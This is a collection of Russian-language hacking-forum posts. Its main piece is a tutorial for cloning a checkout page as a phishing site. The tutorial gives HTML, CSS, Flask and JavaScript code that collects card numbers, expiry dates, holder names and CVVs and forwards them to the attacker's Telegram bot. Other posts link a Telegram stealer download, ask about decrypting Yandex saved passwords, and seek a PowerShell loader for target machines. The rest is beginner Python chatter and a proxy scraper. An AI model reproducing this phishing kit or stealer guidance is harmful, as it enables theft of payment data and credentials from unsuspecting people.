<input type="text" class="custom-input" value="Email *">
<input type="text" class="custom-input" value="Phone Number *">
</div>
<div class="input-row">
<input type="text" class="custom-input" value="First Name *">
<input type="text" class="custom-input" value="Last Name *">
</div>
<div id="map" style="width: 100%; height: 400px;"></div>
<input type="text" class="map-input" value="Address *">
</div>
<div class="right">
<div class="info">
<div class="info_block"></div>
</div>
<div class="info1">
<div class="info2">
</div>
</div>
</div>
</div>
<script src="https://maps.api.2gis.ru/2.0/loader.js"></script>
<script>
DG.then(function () {
var map = DG.map('map', {
center: [55.751244, 37.618423], // Установите координаты центра карты
zoom: 13
});
});
</script>
{% endblock %}
</body>
</html>
Вот полный css код:
CSS:Copy to clipboard
.left {
display: flex;
flex-direction: column;
gap: 10px;
margin-left: 60px;
margin-top: 70px;
}
.input-row {
display: flex;
gap: 10px;
margin-bottom: 20px;
}
.custom-input {
border: none;
border-bottom: 1px solid #929292;
padding: 5px;
width: 390px;
height: 20px;
background: #fafafa;
color: #929292;
font-size: 18px;
font-family: 'Pioner Sans Light', sans-serif;
padding-top: 25px;
}
.main{
display: flex;
flex-direction: row;
justify-content: space-between;
}
.info{
background: #eeeeee;
width: 400px;
height: 105px;
margin-bottom: 10px;
border-radius: 15px;
box-shadow: 0px 2px 3px lightgrey;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
}
.info1{
background: #ffffff;
width: 400px;
height: 230px;
border-radius: 15px;
box-shadow: 0px 1px 2px lightgrey;
display: flex;
flex-direction: column;
justify-content: flex-end;
align-items: center;
}
.info2{
background: #ffffff;
width: 359px;
height: 140px;
border-radius: 15px;
margin-bottom: 20px;
box-shadow: 0px 0px 2px lightgrey;
}
.right{
margin-right: 60px;
margin-top: 75px;
}
.info_block{
width: 350px;
border-bottom: 1px solid #929292;
}
.map-input {
border: none;
border-bottom: 1px solid #929292;
padding: 5px;
width: 100%;
height: 20px;
background: #fafafa;
color: #929292;
font-size: 18px;
font-family: 'Pioner Sans Light', sans-serif;
padding-top: 25px;
}
Вот как выглядит наша страница на данный момент:
Теперь будем просто добавлять соответствующие поля для ввода, которые есть в оригинале. Для этого будем просто копировать ранее созданные объекты для ввода текста, а именно:
Смысла кидать получившийся код я не вижу, так как там ничего не изменилось. Я
не стал менять даже названия классов, так как стили абсолютно идентичны тем,
что мы уже сделали, а в конце статьи все равно будут полные исходники. Покажу
лишь то, как это выглядит на сайте.
Далее на оригинальном сайте идет блок с выбором метода оплаты.
Но нам же нужно, чтобы оплачивали именно картой, поэтому сделаем этот блок только с одним методом оплаты, который просит данные карты. Для этого нам нужно создать в самом низу блока "left" новый div блок. Его класс будет называться "payment_method". Назначим ему пока что такие стили:
CSS:Copy to clipboard
.payment_method{
background: #ffffff;
width: 100%;
height: 320px;
border-radius: 14px;
}
После того, как мы добавили объект, нам нужно добавить надпись "Select Your Payment Method". Для этого будем использовать объект span, которому назначим класс, чтобы добавлять стили не на прямую ко всем span, а к конкретному. У нас уже есть обращение ко всем объектам span, и если мы начнем редактировать стили для этой надписи таким методом, все остальные span объекты будут затронуты. Называться класс будет "payment_method_text". В нем мы назначим шрифт, размер шрифта и цвет текста.
CSS:Copy to clipboard
.payment_method_text{
font-family: 'Pioner Sans Light', sans-serif;
font-size: 25px;
color: #243464;
}
А в его родительский объект добавим padding, чтобы текст не прилегал к краям.
CSS:Copy to clipboard
.payment_method{
background: #ffffff;
width: 100%;
height: 320px;
border-radius: 14px;
padding: 10px;
}
Теперь нам нужно внутрь родительского объекта добавить еще один объект, в котором будет находиться выбранный метод оплаты. Для этого под объектом span мы создаем div с классом "payment" и добавим к нему такие стили:
CSS:Copy to clipboard
.payment{
width: 100%;
height: 60px;
border-radius: 14px;
box-shadow: 0px 0px 2px lightgrey;
}
Также добавим ему margin-top, чтобы он не прилегал к span, который находится выше.
Теперь внутрь этого объекта нам нужно добавить надпись "Online Payment" и чекбокс такой же, как у оригинала. Для этого нам нужно создать объект label, в котором будет два span объекта и объект input, который и будет самим чекбоксом.
HTML:Copy to clipboard
<label class="checkbox-container">
<input type="checkbox">
<span class="checkmark"></span>
<span class="online_payment_text">Online Payment</span>
</label>
А вот и css стили для всех этих объектов:
CSS:Copy to clipboard
.checkbox-container {
display: flex;
align-items: center;
cursor: pointer;
}
.checkbox-container input[type="checkbox"] {
display: none;
}
.checkbox-container .checkmark {
height: 20px;
width: 20px;
background-color: #eee;
border-radius: 50%;
border: 2px solid #ccc;
margin-right: 10px;
position: relative;
}
.checkbox-container input[type="checkbox"]:checked + .checkmark {
background-color: #ffffff;
border: 2px solid #243464;
}
Вот что в итоге мы можем увидеть на странице в браузере:
Теперь нам нужно сделать последний элемент на странице, а именно: Поля для ввода банковских данных. Для этого нам нужно создать объект div в самом низу объекта "left" и назвать его класс "card". Т.к. у оригинала есть узоры на углу объекта, делать их самому не вариант. Поэтому лезем через F12 в код объекта на оригинальном сайте и получаем вот такой вот стиль:
CSS:Copy to clipboard
background-image: linear-gradient(30deg, rgba(255, 255, 255, 0) 70%, rgba(255, 255, 255, 0.2) 70%), linear-gradient(45deg, rgba(255, 255, 255, 0) 75%, rgba(255, 255, 255, 0.2) 75%), linear-gradient(60deg, rgba(255, 255, 255, 0) 80%, rgba(255, 255, 255, 0.2) 80%);
Записываем его в стили объекта "card" и добавляем еще пару стилей, чтобы
подогнать размеры самого объекта.
Вот что в итоге у нас получается в CSS:
CSS:Copy to clipboard
.card{
width: 415px;
height: 250px;
border-radius: 14px;
background: #3c70a1;
background-image: linear-gradient(30deg, rgba(255, 255, 255, 0) 70%, rgba(255, 255, 255, 0.2) 70%), linear-gradient(45deg, rgba(255, 255, 255, 0) 75%, rgba(255, 255, 255, 0.2) 75%), linear-gradient(60deg, rgba(255, 255, 255, 0) 80%, rgba(255, 255, 255, 0.2) 80%);
}
А вот как это выглядит на сайте:
Теперь нужно добавить внутрь этого разрисованного объекта поля для ввода данных. Первым делом создадим div с классом "brand". В нем будет меню для выбора Visa или Mastercard. Для этого объекта назначим стили, чтобы объекты внутри него шли с лева на право.
CSS:Copy to clipboard
.brand{
display: flex;
flex-direction: row;
margin-top: 10px;
margin-left: 10px;
}
Затем добавим объект span, чтобы в нем хранилось слово "Brand". Назовем его класс "brand_text". В его стилях мы назначим шрифт и цвет текста.
CSS:Copy to clipboard
.brand_text{
font-family: 'Pioner Sans Light', sans-serif;
color: white;
}
Затем идет объект выпадающего меню:
HTML:Copy to clipboard
<div class="menu-container">
<div class="custom-select" onclick="toggleCustomSelect(event)">
<select>
<option value="option1">Visa</option>
<option value="option2">Mastercard</option>
</select>
</div>
</div>
Сам объект выпадающего меню называется селектором. Назначим теперь стили селектору, чтобы подогнать его размеры под оригинал.
CSS:Copy to clipboard
select{
width: 120px;
height: 30px;
border-radius: 5px;
margin-left: 35px;
}
Следующим объектом идет картинка Visa, ее мы лутаем с оригинального сайта и закидываем к нам в проект в папку img к остальным картинкам. На сайт ее добавляем таким образом:
HTML:Copy to clipboard
<img class="card_img" src="{{ url_for('static', filename='img/visa.png') }}" alt="Product Image"/>
Этому объекту я также назначил класс. В нем указываем отступ слева, чтобы картинка не прилегала к нашему селектору.
CSS:Copy to clipboard
.card_img{
margin-left: 150px;
}
Вот что в итоге у нас получилось:
Теперь приступим к полям ввода для номера карты, CVV и т.д. Для этого создаем два div блока, в каждом из которых будет по два поля ввода. Затем создаем еще один блок, в который перемещаем ранее сделанные два блока.
HTML:Copy to clipboard
<div class="card_box">
<div class="input-card">
<input type="text" class="custom-input-card" value="Card Number">
<input type="text" class="custom-input-card1" value="MM/YY">
</div>
<div class="input-card">
<input type="text" class="custom-input-card" value="Card holder">
<input type="text" class="custom-input-card1" value="CVV">
</div>
</div>
Блок "card_box" нужен для того, чтобы сделать верхний отступ от блока, в
котором находится "brand".
Вот стили для текущих блоков:
CSS:Copy to clipboard
.input-card {
display: flex;
gap: 10px;
margin-bottom: 20px;
}
.custom-input-card {
border: none;
border-bottom: 1px solid #929292;
padding: 5px;
width: 350px;
height: 20px;
background: #fafafa;
color: #929292;
font-size: 18px;
font-family: 'Pioner Sans Light', sans-serif;
border-radius: 4px;
}
.custom-input-card1 {
border: none;
border-bottom: 1px solid #929292;
padding: 5px;
width: 100px;
height: 20px;
background: #fafafa;
color: #929292;
font-size: 18px;
font-family: 'Pioner Sans Light', sans-serif;
border-radius: 4px;
margin-left: 20px;
}
.card_box{
margin-top: 60px;
}
С полями закончили, теперь будем добавлять кнопку "Pay now", а затем делать
отправку данных при нажатии этой кнопки в Telegram.
Итак, для начала создадим div с классом "btn_box". Он нужен для того, чтобы в
его стилях сделать размещение объектов с правой стороны, чтобы в дальнейшем,
при добавлении внутри этого блока кнопки, она была в правом углу.
Назначаем этому объекту такие стили:
CSS:Copy to clipboard
.btn_box{
display: flex;
flex-direction: row-reverse;
}
Далее создаем объект кнопки:
HTML:Copy to clipboard
<button class="pay">Pay now</button>
И назначаем ему стили:
CSS:Copy to clipboard
.pay{
width: 80px;
height: 35px;
background: #61a60e;
border: none;
color: white;
border-radius: 5px;
}
Вот что получается на странице браузера:
С версткой сайта закончили, теперь будем делать сбор данных из полей и отправку в Telegram. Для этого перейдем в созданный в самом начале файл Python и первым делом добавим нужные нам импорты:
Python:Copy to clipboard
from flask import Flask, render_template, request, jsonify
import requests
Затем создадим две переменные, в которых будет храниться токен бота и наш чат ID Telegram.
Python:Copy to clipboard
TELEGRAM_BOT_TOKEN = ''
TELEGRAM_CHAT_ID = ''
Далее напишем функцию для принятия данных с сайта и последующей отправки в Telegram:
Python:Copy to clipboard
@app.route('/send_data', methods=['POST'])
def send_data():
data = request.json
message = f"Card Number: {data['card_number']}\nMM/YY: {data['mm_yy']}\nCard Holder: {data['card_holder']}\nCVV: {data['cvv']}"
url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage"
payload = {
'chat_id': TELEGRAM_CHAT_ID,
'text': message
}
response = requests.post(url, json=payload)
return jsonify({'status': 'success'} if response.status_code == 200 else {'status': 'fail'})
Теперь нужно изменить HTML файл и заменить объект с полями ввода на это:
HTML:Copy to clipboard
<div class="card_box">
<div class="input-card">
<input type="text" class="custom-input-card" id="card-number" value="Card Number">
<input type="text" class="custom-input-card1" id="mm-yy" value="MM/YY">
</div>
<div class="input-card">
<input type="text" class="custom-input-card" id="card-holder" value="Card holder">
<input type="text" class="custom-input-card1" id="cvv" value="CVV">
</div>
</div>
Тут лишь были добавлены id к каждому объекту.
Теперь напишем функцию JavaScript, которая будет собирать данные из объектов с указанными id и отправлять их в наш Python код в функцию send_data.
HTML:Copy to clipboard
function sendData() {
const cardNumber = document.getElementById('card-number').value;
const mmYY = document.getElementById('mm-yy').value;
const cardHolder = document.getElementById('card-holder').value;
const cvv = document.getElementById('cvv').value;
fetch('/send_data', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
card_number: cardNumber,
mm_yy: mmYY,
card_holder: cardHolder,
cvv: cvv
})
})
}
Теперь о том, как работает отправка:
Вот как выглядит получившееся сообщение в Telegram:
Заключение:
В данной статье я постарался объяснить простым языком работу с HTML и CSS, а
также показать, как разделять объекты на странице и вручную копировать объекты
с других сайтов на примере фиша. Страница у меня получилась не полной копией,
но очень приближенной. По моему опыту, если человек в принципе повелся на сайт
с неоригинальным адресом, то вряд ли будет всматриваться в сайт и в его
различия с оригиналом. Так что мне кажется, даже такой копии вполне хватит.
Также для копирования сайта есть сторонние приложения, но их проблема в том,
что они не всегда собирают сайт корректно, так что вам чаще всего все равно
придется некоторые страницы делать самому.
Статья написана CognitoInc специально для форума xss.is
Здраствуйте участники форума, пишу свой стиллер знаю что python не лучший для
этого язык но я решил понять хотябы основы его написания ,и возник вопрос
Сейчас делаю блок для паролей яндекса и хотел спросить у тех кто таким уже
занимался, есть ли у него шифрование паролей как у паролей хрома , и если есть
то какое и как его подобрать?
Есть ли какие-либо способы защитить код python от копирования/ревёрса? Варианты с компиляцией не предлагать, уже пройденный этап (не помогло)
Достаточно объемный курс для изучающих язык с нуля.
Лектор очень живой, слушать приятно. Желание уснуть от бубнения не возникает.
Лекции тесно связаны с заданиями.
Ссылки на задания и код к заданиям актуальны.
Язык английский, с русскими субтитрами.
По субтитрам есть некоторые нарекания тк некоторые предложения проскакивают
без перевода. Однако встречается не прям часто и на понимание это особо не
повлияет.
Что ты узнаешь
Требования
Описание
Добро пожаловать на 100 Days of Code - The Complete Python Pro Bootcamp,
единственный курс, который вам нужно научиться программировать на Python. С
более чем 100 000 отзывов и средней оценкой 4,8 мои курсы являются одними из
САМЫХ ВЫСОКИХ РЕЙТИНГОВ в истории Удеми!
100 дней, 1 час в день, научитесь строить 1 проект в день - вот как вы осваиваете Python.
Этот курс Python, продолжительностью более 56 часов, без сомнения, является наиболее полным курсом Python, доступным где-либо в Интернете. Даже если у вас есть нулевой опыт программирования, этот курс будет у вас от новичка до профессионала . Вот почему:
Мы шаг за шагом проведем вас через увлекательные видеоуроки и научим всему, что вам нужно знать, чтобы добиться успеха в качестве разработчика Python.
Курс включает в себя более 56 часов видеоуроков в формате HD и расширяет ваши знания в области программирования при создании реальных проектов Python.
В этом всеобъемлющем курсе мы рассмотрим огромное количество инструментов и технологий, в том числе:
К концу этого курса вы будете свободно программировать на Python и будете настолько хороши в Python, что сможете получить работу или использовать язык профессионально.
Вы также создадите портфолио из 100 проектов , которые сможете продемонстрировать любому потенциальному работодателю. Включая:
Для кого этот курс:
Курс на udemy : https://www.udemy.com/course/100-days-of-code/
Ссылка на облако: https://cloud.mail.ru/public/bPqq/bNrph5N1G
В книге рассказывается о работе диалоговых интерфейсов как способе взаимодействия машины с людьми на естественном языке. Вы научитесь разрабатывать чат-боты для выполнения различных прикладных задач с помощью платформ Microsoft Bot Framework, DialogFlow и Twilio, а также изучите механизмы развертывания чат-ботов на платформах мессенджеров типа Facebook. В заключении освоите отправку и отслеживание сообщений на платформе Twitter, а также поэкспериментируете с технологиями Google Assistant и Amazon Alexa. Издание будет полезно начинающим разработчикам в области искусственного интеллекта
You must spend at least 365 day(s) on the forum to view the content.
Stealer Via Telegram
Download https://anonfiles.com/Jds5b2G2y9/Wald_L97ab_Stealer_v0.2_rar
1 - CHANGE TOKEN AND ID
2 - Python Code TO EXE
3 - WIAT EXE FILE
Освоил основную информацию для работы в Python, а какую библиотеку нужно изучить чтобы писать чекеры и парсеры и тд? Являюсь в программировании новичком, хочу продвигаться в этом деле дальше, но пока поставил свою начальную цель написать свой первый чекер и парсер, а вот что для этого нужно на Python 3 не знаю.... Заранее огромное спасибо
Всем привет, хотела рассказать не большую историю, однажды мне требовалось
создать более 100 кошельков метамаск для прохождения тестнета уже точно не
помню какого не в нем даже суть, я написала бота который бы создавал кошельки
и сохранял сид в отдельный тхт, а когда пришло время поработать ручками я
крайне удивилась что на одном кошельке был баланс 125 зелеными в эфире, я
проверила транзакции и оказалось что в данный кошелек транзакция была
отправлена не с моих кошельков, вот собственно вопрос возник! Значит кто то
ошибся и когда-то отправил эфир на этот кошель, тут то и пришла идея написать
скрипт который будет создавать кошельки и проверять баланс и если будет что то
на нем то сид фраза с адресом сохранялась в отдельный файл.
Обственно вот скрипт вдруг кто то захочет побаловаться, только нужно на
infura.io/ получить свой id для работы
Прошу строго не судить я малоопытная))))
Python:Copy to clipboard
import logging
import asyncio
from web3 import Web3, HTTPProvider
from web3.middleware import geth_poa_middleware
from bip_utils import Bip39SeedGenerator
from eth_account import Account
from concurrent.futures import ThreadPoolExecutor
logging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(levelname)s %(message)s')
# Создаем объект Web3 с помощью HTTPProvider
w3 = Web3(HTTPProvider('https://mainnet.infura.io/v3/сюда вставлять айди'))
# Добавляем middleware для совместимости с сетью Geth POA
w3.middleware_onion.inject(geth_poa_middleware, layer=0)
# Функция для генерации новых кошельков
def generate_wallet():
# Создаем новый кошелек
account = Account.create()
# Получаем адрес кошелька
address = account.address
# Получаем баланс кошелька в Ether
balance = w3.eth.get_balance(address) / 10**18
# Выводим информацию в лог
logging.info(f"Address: {address}, Balance: {balance} ETH")
# Если на кошельке есть баланс, то выводим сид фразу и записываем адрес и сид фразу в файл
if balance > 0:
mnemonic = Bip39SeedGenerator.to_mnemonic(account.key)
logging.info(f"Seed phrase: {mnemonic}")
# Записываем адрес и сид фразу в файл
with open("wallets.txt", "a") as f:
f.write(f"Address: {address}, Seed phrase: {mnemonic}\n")
async def main():
with ThreadPoolExecutor(max_workers=5) as executor:
loop = asyncio.get_event_loop()
while True:
tasks = [
loop.run_in_executor(executor, generate_wallet)
for i in range(5)
]
await asyncio.gather(*tasks)
await asyncio.sleep(5)
if __name__ == '__main__':
asyncio.run(main())
Spoiler: хз
Эта статья была перезалита одним автором с другого форума
Python – это язык программирования, который имеет свои преимущества и недостатки. Но, несмотря на это, он является одним из наиболее популярных и полезных языков программирования, используемых в различных областях и проектах. В этой статье мы рассмотрим, с чего стоит начать изучать Python и какие плюсы и минусы он имеет.
С чего начать изучение Python?
Если вы только начинаете изучать Python, то начать нужно с базовых концепций языка. Они включают в себя основы синтаксиса, переменные, условия, циклы и функции. Кроме того, необходимо изучить основы работы с файлами, модулями и пакетами.
Начать изучение Python можно с множества онлайн-курсов и ресурсов, таких как Codecademy, Coursera, Udacity и многие другие. Важно выбрать подходящий курс, который соответствует вашим интересам и уровню знаний.
Один из способов начать изучение Python – это пройти онлайн-курс по языку программирования. Существуют множество бесплатных и платных курсов, которые помогут вам освоить базовые концепции языка и научиться использовать Python для решения различных задач.
Кроме того, существует множество книг и онлайн-ресурсов, которые могут помочь вам изучить Python. Многие из них предлагают задачи и упражнения, которые помогут вам понять основы языка и применять их на практике.
Плюсы Python
Минусы Python
Медленная скорость: Python не является самым быстрым языком программирования из-за интерпретации и многих встроенных функций. Это может быть проблемой при работе с большими объемами данных или при реализации проектов, которые требуют быстрой обработки и вычислений.
Ограничения в разработке мобильных приложений: Python не является лучшим языком программирования для разработки мобильных приложений, так как многие мобильные операционные системы не поддерживают его.
Заключение
Python - это мощный язык программирования с множеством возможностей для решения различных задач. Начать изучение Python можно с онлайн-курсов, книг и ресурсов, которые помогут понять базовые концепции языка и начать создавать код. Python имеет много преимуществ, таких как простота, большое сообщество, кроссплатформенность и мощные библиотеки. Однако, он также имеет некоторые недостатки, такие как медленная скорость и ограничения в разработке мобильных приложений. В целом, Python является одним из наиболее популярных языков программирования, который рекомендуется для изучения разработчикам всех уровней.
Spoiler: Бесплатный хостинг для python
Существует несколько бесплатных хостинг-платформ для размещения скриптов на языке Python.
Некоторые из них:
1. PythonAnywhere - это онлайн-интегрированная среда разработки, которая позволяет создавать и запускать приложения на Python в браузере. PythonAnywhere предоставляет бесплатный аккаунт с ограниченными ресурсами, включая 512 МБ памяти и возможность хранить до трех файлов на сервере.
2. Heroku - это облачная платформа, которая поддерживает многие языки программирования, включая Python. Heroku предоставляет бесплатный тарифный план, который позволяет разместить приложения на Python до 512 МБ.
3. Google Cloud Platform - это облачная платформа, которая поддерживает различные языки программирования, включая Python. Google Cloud Platform предоставляет бесплатный тарифный план, который позволяет использовать ресурсы виртуальной машины до 1 ГБ.
4. Amazon Web Services - это облачная платформа, которая также поддерживает множество языков программирования, включая Python. AWS предоставляет бесплатный тарифный план, который позволяет использовать ресурсы виртуальной машины до 750 часов в месяц в течение первого года.
5. OpenShift - это облачная платформа, которая поддерживает многие языки программирования, включая Python. OpenShift предоставляет бесплатный тарифный план, который позволяет размещать приложения на Python до 1 ГБ.
Это лишь некоторые из бесплатных хостингов для скриптов на языке Python. Выбор подходящей платформы будет зависеть от ваших потребностей и требований к ресурсам.
[][][][]
Переменная:
Python:Copy to clipboard
x = 5
y = "Hello, world!"
print(x)
print(y)
Список
Python:Copy to clipboard
my_list = ["apple", "banana", "cherry"]
print(my_list)
Словарь
Python:Copy to clipboard
my_dict = {"name": "John", "age": 36, "city": "New York"}
print(my_dict)
Условный оператор
Python:Copy to clipboard
x = 5
if x > 10:
print("x is greater than 10")
else:
print("x is less than or equal to 10")
Цикл
Python:Copy to clipboard
for i in range(5):
print(i)
Функция
Python:Copy to clipboard
def my_function(x):
return x * 2
result = my_function(3)
print(result)
Nympy
Python:Copy to clipboard
import numpy as np
my_array = np.array([1, 2, 3, 4, 5])
print(my_array)
Pandas
Python:Copy to clipboard
import pandas as pd
my_dict = {"name": ["John", "Mary", "Peter"], "age": [30, 25, 40]}
my_dataframe = pd.DataFrame(my_dict)
print(my_dataframe)
Matplotlib
Python:Copy to clipboard
import matplotlib.pyplot as plt
x = [1, 2, 3, 4, 5]
y = [10, 8, 6, 4, 2]
plt.plot(x, y)
plt.show()
Flask
Python:Copy to clipboard
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello_world():
return "Hello, world!"
if __name__ == "__main__":
app.run()
You must have at least 20 reaction(s) to view the content.
тестовый скрипт, не могу понять работает корректно или нет, вроде показывает правильно, но не до конца понимаю правильно ли работает, в скрипте есть лишние моменты, делал за 40 мин. Надеюсь на критику и советы по улучшению, тк новичек в этом. Прокси не настраивал пока но это сделать не проблема, тестил на DE сервере.
Всем привет, хочу поделиться частью кода из всего проекта.
Сегодня разберем https://geonode.com/, там существует бесплатный лист с
прокси который мы научимся парсить асинхронно.
Рассмотрите код, там указаны комментарии почти к каждой строчке, а потом
приступайте к сбору проекта, пожалуйста!
Приступим:
Spoiler: 1. Получаем количество страниц прокси
Python:Copy to clipboard
async def check_count_pages(session):
try:
async with session.get('https://proxylist.geonode.com/api/proxy-list', headers=headers) as response: # запрос на страницу
data = await response.json() #принимаем информацию сайта в json
# print(data['total'])
total = int(data['total']) #Значение количеста прокси переводим в инт
pages = math.ceil(total / 500) #Теперь, делим количество прокси на 500, т.к 1 json запросе хранится 500 прокси. Таким образом узнаем количество страниц
pages = int(pages)
# print(pages)
return pages #Взращаем
except Exception as e:
print(e)
Spoiler: 2. Пишем функцию по парсингу полученной страницы json
Python:Copy to clipboard
async def printsecs(session, i, k):
params = {
'limit': '500',
'page': f'{i}',
'sort_by': 'lastChecked',
'sort_type': 'desc',
}
async with session.get('https://proxylist.geonode.com/api/proxy-list', headers=headers,
params=params) as response: #запрос на сайт
proxies = await response.json() #сохраняем в json
for proxy in proxies['data']: #шагаем по дате
if proxy['protocols'][0] == 'socks4': #если протокол равен сокс4
async with socks4lock: #Блокируем поток для корректной записи
async with aiof.open(r'socks4.txt', 'a') as file: #открываем файл для дозаписи
await file.write(f"{proxy['ip']}:{proxy['port']}\n") #Записываем прокси
await file.flush()
elif proxy['protocols'][0] == 'socks5': #Все тоже самое что и выше, только другой протокол прокси
async with socks5lock:
async with aiof.open(r'socks5.txt', 'a') as file:
await file.write(f"{proxy['ip']}:{proxy['port']}\n")
await file.flush()
elif proxy['protocols'][0] == 'https':
async with httpslock:
async with aiof.open(r'https.txt', 'a') as file:
await file.write(f"{proxy['ip']}:{proxy['port']}\n")
await file.flush()
elif proxy['protocols'][0] == 'http':
async with httplock:
async with aiof.open(r'http.txt', 'a') as file:
await file.write(f"{proxy['ip']}:{proxy['port']}\n")
await file.flush()
print(f'Обработано страниц с первого сайта - {k}')
Spoiler: 3. Создаем таски
Python:Copy to clipboard
async def main_first_site():
async with aiohttp.ClientSession() as session:
tasks = [] # Создаем лист с нашими тасками
k = 1 # Счетчик для проверки количества отработанных страниц
pages = await check_count_pages(session) #вызов функции чтобы узнать количество страниц
for i in range(0, pages): #Шагаем по количеству страниц
task = asyncio.create_task(printsecs(session, i, k)) #Передаем в нашу основную функцию сессию, страницу и счетчик
tasks.append(task) #упаковываем таск
k = k + 1 #счетчик
await asyncio.gather(*tasks) #распаковываем таски
Spoiler: Весь код
Python:Copy to clipboard
import asyncio
import aiohttp
import math
import aiofiles as aiof
socks4lock = asyncio.Lock() # обязательные локи, чтобы запись файла была корректной
socks5lock = asyncio.Lock()
httpslock = asyncio.Lock()
httplock = asyncio.Lock()
headers = {
'authority': 'proxylist.geonode.com',
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'accept-language': 'ru-RU,ru;q=0.9',
'sec-ch-ua': '"Chromium";v="110", "Not A(Brand";v="24", "Google Chrome";v="110"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'document',
'sec-fetch-mode': 'navigate',
'sec-fetch-site': 'none',
'sec-fetch-user': '?1',
'upgrade-insecure-requests': '1',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
}
async def printsecs(session, i, k):
params = {
'limit': '500',
'page': f'{i}',
'sort_by': 'lastChecked',
'sort_type': 'desc',
}
async with session.get('https://proxylist.geonode.com/api/proxy-list', headers=headers,
params=params) as response: #запрос на сайт
proxies = await response.json() #сохраняем в json
for proxy in proxies['data']: #шагаем по дате
if proxy['protocols'][0] == 'socks4': #если протокол равен сокс4
async with socks4lock: #Блокируем поток для корректной записи
async with aiof.open(r'socks4.txt', 'a') as file: #открываем файл для дозаписи
await file.write(f"{proxy['ip']}:{proxy['port']}\n")
await file.flush()
elif proxy['protocols'][0] == 'socks5':
async with socks5lock:
async with aiof.open(r'socks5.txt', 'a') as file:
await file.write(f"{proxy['ip']}:{proxy['port']}\n")
await file.flush()
elif proxy['protocols'][0] == 'https':
async with httpslock:
async with aiof.open(r'https.txt', 'a') as file:
await file.write(f"{proxy['ip']}:{proxy['port']}\n")
await file.flush()
elif proxy['protocols'][0] == 'http':
async with httplock:
async with aiof.open(r'http.txt', 'a') as file:
await file.write(f"{proxy['ip']}:{proxy['port']}\n")
await file.flush()
print(f'Обработано страниц с первого сайта - {k}')
# async def write_to_file(filename, text):
# async with aiofiles.open(filename, 'a') as f:
# await f.write(text)
async def check_count_pages(session):
try:
async with session.get('https://proxylist.geonode.com/api/proxy-list', headers=headers) as response: # запрос на страницу
data = await response.json() #принимаем информацию сайта в json
# print(data['total'])
total = int(data['total']) #Значение количеста прокси переводим в инт
pages = math.ceil(total / 500) #Теперь, делим количество прокси на 500, т.к 1 json запрсе хранится 500 прокси. Таким образом узнаем количество страниц
pages = int(pages)
# print(pages)
return pages #Взращаем
except Exception as e:
print(e)
async def main_first_site():
async with aiohttp.ClientSession() as session:
tasks = [] # Создаем лист с нашими тасками
k = 1 # Счетчик для проверки количества отработанных страниц
pages = await check_count_pages(session) #вызов функции чтобы узнать количество страниц
for i in range(0, pages): #Шагаем по количеству страниц
task = asyncio.create_task(printsecs(session, i, k)) #Передаем в нашу основную функцию сессию, страницу и счетчик
tasks.append(task) #упаковываем таск
k = k + 1 #счетчик
await asyncio.gather(*tasks) #распаковываем таски
return 1
if __name__ == '__main__':
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
asyncio.run(main_first_site())
Из заголовка можно сразу понять мою проблему. Столкнулся я с чем-то подобным впервые, проблема очевидна, возьми сейчас меня и спроси про пару штучек в ООП и опеределение и применение базовых штук вроде классов и их наследия, работы со списками и другими видами данных я отвечу без проблем. Казалась бы всё так классно и можно теперь упасть в практику. Но в этом и суть.
Для начала как обычно кодят в моём представлении которое сложилось за время
чтения книжек просмотра видео и перебора различных статей рекомендаций:
Вот он ты который знает теорию и имел практику с стандартными штуками вроде
классов и циклов и знаешь как применять их, дальше тебе дают задачу (тут либо
ты её сам придумываешь в зависимости от того что тебе нужно, либо ищешь какие-
то идеи и задачки), дальше ты опередляешь направление задачи и что нужно для
её решения (библиотеки и фреймворки), ну и собственно придумываешь как это всё
реализовать и пишешь код.
И вот как раз с последним у меня проблема и мой вопрос в том как её решить. Я конечно осознал её и начал искать известные и неизвестные мне способы решения. Т.к опыт в IT-штучках у меня есть (сети и администрирование) я знал как искать и что делать. Прошерстив инет ещё раз после того как я собрал ото всюду всю плохо лежащую теорию смахнул пыль со статей опытных в этом деле на всех возможных форумах, я нашёл такие методы сносной практики и обучения именно _писать что-то:
Codewars
Работа над своим проектом и его развитие
Написание вспомогательных штучек для рутинных задач_
Для своего проекта я зеленоват в кодинге, а последнее рассматривал т.к. админю
Linux да и сам на нём сижу. Ну и по итогу выбрал первое. Зашёл на сайт
зарегался решил пару задач которые мне предложил сам сайт на главной странице
(местами подглядывал решение), а потом как дело дошло до кат
среднстатистического Juniorа началась боль.
Сидишь ты значит и пытаешься понять как отсортировать список именно так как
надо, или как реализовать другую указанную в кате штуку. Потом после того как
ты накостылял что-то на коленке и прошёл там кое-как половину тестов а
остальные благополучно кричат что ты идиот и заваливаются начинаешь думать что
ты просто дебил и гуглишь решение читаешь код и видишь очевидные вещи до
которых ты бы мог и сам допереть но это бы сожрало вагон времени и ты по
правде говоря об этом даже и не подумал при поиске решения. Потом таки
копипастишь половину кода и такой думаешь ну вроде я решил, а вроде ты дебил
который львиную долю кода скопипастил и от этого впадаешь в уныние и тебе
больше в жизни не хочется заниматься программированием и ты такой "Может это
не моё". Но на деле потом всё равно вернёшься к тому что тебе нужно научится
кодить и происходит то же самое. И что по итогу?
По итогу неопределённость от непонимания того как правильно освоить какой-то
навык, а вроде ты понимаешь как всё +- устроено и мозги у тебя на месте.
Ну и теперь то для чего я весь бред этот настрочил.
Что я делаю не так? Есть ли другие способы? В чём я допускаю ошибку?
Ибо когда смотришь на коллег кодеров тебе начинает казаться что ты просто не знаешь какой-то очевидной вещи которые знают другие. Господа кодеры ей богу скажите так ли это и ей богу что за хрень? И что со мной не так мать твою?
Hello friends,
I'm trying to get started on learning Python, I'd be happy to see some
material recommendations in English. Thanks, friends.
Ищу лоадер для своих задач. Python. Нужно сделать выполнение строки powershall
на целевой машине.
Куплю готовый или возьму в аренду
ПМ
